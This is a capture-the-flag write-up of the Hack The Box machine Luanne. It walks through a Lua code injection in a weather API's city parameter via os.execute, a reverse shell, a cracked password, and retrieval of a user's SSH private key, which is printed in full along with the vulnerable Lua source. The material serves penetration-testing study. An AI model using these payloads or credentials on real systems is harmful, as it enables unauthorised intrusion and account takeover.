I started my enumeration with an nmap scan of 10.10.10.218. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oA <name> saves all types of output (.nmap,.gnmap, and .xml) with filenames of <name>.
┌──(zweilos㉿kali)-[~/htb/luanne]└─$nmap-sCV-n-p--Pn-v-oAluanne10.10.10.218Hostdiscoverydisabled (-Pn). All addresses will be marked 'up' and scan times will be slower.StartingNmap7.91 ( https://nmap.org ) at 2021-03-18 19:09 EDTNmapscanreportfor10.10.10.218Hostisup (0.064s latency).Notshown:65532closedportsPORTSTATESERVICEVERSION22/tcpopensshOpenSSH8.0 (NetBSD 20190418-hpn13v14-lpk; protocol2.0)|ssh-hostkey:|307220:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)|52135:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)|_256b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)80/tcpopenhttpnginx1.19.0|http-auth:|HTTP/1.1401Unauthorized\x0D|_Basicrealm=.|http-methods:|_SupportedMethods:GETHEADPOST|http-robots.txt:1disallowedentry|_/weather|_http-server-header:nginx/1.19.0|_http-title:401Unauthorized9001/tcpopenhttpMedusahttpd1.12 (Supervisor processmanager)|http-auth:|HTTP/1.1401Unauthorized\x0D|_Basicrealm=default|_http-server-header:Medusa/1.12|_http-title:ErrorresponseServiceInfo:OS:NetBSD; CPE:cpe:/o:netbsd:netbsdServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.Nmapdone:1IPaddress (1 hostup) scanned in 1066.53 seconds
Nmap only showed three ports were open on this machine: 22- SSH, 80 - HTTP, and 9001 - which said Medusa httpd 1.12 (Supervisor process manager).
Port 80 - HTTP
I started out my enumeration by navigating to 10.10.10.218 in my browser.
I was immediately greeted by a Basic HTTP authorization prompt. Since I didn't have any credentials I tried a few basic defaults, but no luck.
Navigating to /index.html brought me to a default nginx installation page.
There was only one disallow line in robots.txt that showed a directory called /weather.
This did not reveal anything interesting, however. I left dirbuster running while I checked out the next service. I searched for exploits related to this version of nginx but only found a few denial of service vulnerabilities and a CNAME leakage. There was nothing useful.
Port 9001 - HTTP
Navigating to the page hosted on port 9001 also gave me a Basic HTTP authentication prompt. However, this one gave me a little clue. I did some research on the Supervisor process manager, looking for default credentials after seeing the hint of "default".
I saw a cron in the process output, as well as a weather.lua
I tried checking for local file inclusion and code execution vulnerabilities but they just gave errors.
Port 80 - /weather/forecast/
I found a directory /weather/forecast/ using Dirbuster.
"No city specified. Use 'city=list' to list available cities."
'test' showed unknown city error
Sending a query of ' (single quote) resulted in a "nil value" Lua error. I expected to test for a SQL injection vulnerability, but got something else instead. I did some reading on Lua syntax to see if I could figure out how to get this to execute code.
My first attempt triggered a warning from NoScript about a possible XSS attack. I had to close off the function parameters with '), separate the commands with a ;, and use a Lua comment -- at the end closed off the insertion to get this warning. I still did not get code execution however.
Looking a bit closer at my attempt, I noticed that I had typed os.system('id') rather than os.execute('id') which NoScript saw as JavaScript, triggering that warning. Fixing this error allowed me to get command execution.
NoScript still caught the attempt using os.execute, but at least it drew my attention to my error the first time!
Using this command execution I pulled /etc/passwd to enumerate the users on the machine. There were only two users who could login with a shell, root and r.michaels.
NetBSD luanne.htb 9.0 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020 mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/amd64/compile/GENERIC amd64
The command uname -a revealed this to be a NetBSD system. I wasn't sure what kind of reverse shell would work on a BSD system, so I checked the one-stop-shop for all things Payload.
I found a reverse shell with nc (without -e) for openbsd, and hoped that it would work for this distro as well. The response hung for awhile after sending, which was a good sign.
Initial Foothold
┌──(zweilos㉿kali)-[~/htb/luanne]└─$scriptluanne-initScriptstarted,outputlogfileis'luanne-init'.┌──(zweilos㉿kali)-[~/htb/luanne]└─$bashzweilos@kali:~/htb/luanne$nc-lvnp4242listeningon [any] 4242 ...connectto [10.10.14.187] from (UNKNOWN) [10.10.10.218] 54839sh:can't access tty; job control turned off$ id && hostnameuid=24(_httpd) gid=24(_httpd) groups=24(_httpd)luanne.htb
It worked!
Enumeration as _httpd
$ which python3
which: PATH environment variable is not set
Checked to see if python3 was installed, but got an error that the PATH was not set. After some testing I found that my usual TTY upgrades were not working.
It cracked within seconds to reveal the password iamthebest.
I was able to use this to log into the other web portal on port 80.
There did not seem to be anything further I could do here other than discover the /weather/forecast/ endpoint I had already used to gain access to the machine.
Since I only had one user to go off, I tried using that password to switch users to r.michaels but failed. I also tried finding everything that r.michaels had access to, but there wasn't much.
There was a process run by the r.michaels user that seemed to be running another instance of the weather.lua, this time on port 3001.
Note: From other user's attempts from the process output I saw one that showedpython3.7 -c import pty;pty.spawn("/bin/sh"). You may be able to use this to upgrade your shell. I didn't notice this until after I was done, and it would have been metagaming anyways!
$ curl http://localhost:3001
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 199 100 199 0 0 66333 0 --:--:-- --:--:-- --:--:-- 66333
<html><head><title>401 Unauthorized</title></head>
<body><h1>401 Unauthorized</h1>
/: <pre>No authorization</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>
I tried using curl to get the local page at 3001 and got a "No Authorization" error.
$ curl -u webapi_user:iamthebest http://localhost:3001
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 386 100 386 0 0 125k 0 --:--:-- --:--:-- --:--:-- 125k
<!doctype html>
<html>
<head>
<title>Index</title>
</head>
<body>
<p><h3>Weather Forecast API</h3></p>
<p><h4>List available cities:</h4></p>
<a href="/weather/forecast?city=list">/weather/forecast?city=list</a>
<p><h4>Five day forecast (London)</h4></p>
<a href="/weather/forecast?city=London">/weather/forecast?city=London</a>
<hr>
</body>
</html>
since this page was the same as the one on port 80 I tried logging in as webapi_user. This time I was able to retrieve the site. It looked exactly the same as the one on port 80.
$ curl -u webapi_user:iamthebest http://localhost:3001/r.michaels
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 206 100 206 0 0 68666 0 --:--:-- --:--:-- --:--:-- 68666
<html><head><title>404 Not Found</title></head>
<body><h1>404 Not Found</h1>
/~: <pre>This item has not been found</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>
$ curl -u webapi_user:iamthebest http://localhost:3001/~/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 207 100 207 0 0 51750 0 --:--:-- --:--:-- --:--:-- 51750
<html><head><title>404 Not Found</title></head>
<body><h1>404 Not Found</h1>
/~/: <pre>This item has not been found</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>
I tried to see if I could access the home directory since this process was being run as
searched for how to access home directory in a URL and found
Used in URLs, interpretation of the tilde as a shorthand for a user's home directory (e.g., http://www.foo.org/~bob) is a convention borrowed from Unix. Implementation is entirely server-specific, so you'd need to check the documentation for your web server to see if it has any special meaning.
$ curl -u webapi_user:iamthebest http://localhost:3001/~r.michaels
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 172 0 172 0 0 57333 0 --:--:-- --:--:-- --:--:-- 57333
<html><head><title>Document Moved</title></head>
<body><h1>Document Moved</h1>
This document had moved <a href="http://localhost:3001/~r.michaels/">here</a>
</body></html>
The post was related to python, but it seemed to work, at least somewhat
it seems like the tilde thing is also used specifically in nginx
$ curl -u webapi_user:iamthebest http://localhost:3001/~r.michaels/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 601 0 601 0 0 117k 0 --:--:-- --:--:-- --:--:-- 117k
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
border-top: 1px solid black;
border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>
Putting the trailing slash on the url caused it to give me a directory listing
id_rsa sounded quite interesting
$ curl -u webapi_user:iamthebest http://localhost:3001/~r.michaels/id_rsa
sh: 48: Syntax error: redirection unexpected
$ curl -u webapi_user:iamthebest http://localhost:3001/~r.michaels/id_rsa/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 245 100 245 0 0 81666 0 --:--:-- --:--:-- --:--:-- 81666
<html><head><title>500 Internal Error</title></head>
<body><h1>500 Internal Error</h1>
~r.michaels/id_rsa/index.html: <pre>An error occured on the server</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>
However, trying to retrieve the id_rsa file gave some errors.
$ curl -u webapi_user:iamthebest ftp://localhost:3001/~r.michaels/id_rsa
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- 0:00:30 --:--:-- 0
curl: (56) response reading failed
Next I tried switching protocols to use ftp:// rather than http:// but that failed as well
Further enumeration
Finding user creds
$ curl -u webapi_user:iamthebest localhost:3001/~r.michaels/id_rsa
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2610 100 2610 0 0 637k 0 --:--:-- --:--:-- --:--:-- 637k
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
I was finally able to get it by removing the specification for curl to interpret what it was pulling through the HTTP protocol
The webapi folder only contained the file weather.lua
luanne$ cat weather.lua httpd =require'httpd'math =require'math'sqlite =require'sqlite'cities = {"London", "Manchester", "Birmingham", "Leeds", "Glasgow", "Southampton", "Liverpool", "Newcastle", "Nottingham", "Sheffield", "Bristol", "Belfast", "Leicester"}weather_desc = {"sunny", "cloudy", "partially cloudy", "rainy", "snowy"}functionvalid_city(cities,city)for i, v inipairs(cities) doif v == citythenreturntrueendendreturnfalseendfunctionforecast(env,headers,query)if query and query["city"]thenlocal city = query["city"]if city =="list"then httpd.write("HTTP/1.1 200 Ok\r\n") httpd.write("Content-Type: application/json\r\n\r\n") httpd.write('{"code": 200,') httpd.write('"cities": [')for k,v inpairs(cities) do httpd.write('"' .. v ..'"')if k <#citiesthen httpd.write(',')endend httpd.write(']}')elseifnotvalid_city(cities, city)then-- city=London') os.execute('id') -- httpd.write("HTTP/1.1 500 Error\r\n") httpd.write("Content-Type: application/json\r\n\r\n")local json =string.format([[ httpd.write('{"code": 500,') httpd.write('"error": "unknown city: %s"}') ]], city)load(json)()else-- just some fake weather data...snipped...endelse httpd.write("HTTP/1.1 200 Ok\r\n") httpd.write("Content-Type: application/json\r\n\r\n") httpd.print('{"code": 200, "message": "No city specified. Use \'city=list\' to list available cities."}')endendhttpd.register_handler('forecast', forecast)
Nothing useful here? There did seem to be a backdoor potentially written in, though it was commented out -- city=London') os.execute('id') --. I think this is where I injected my original access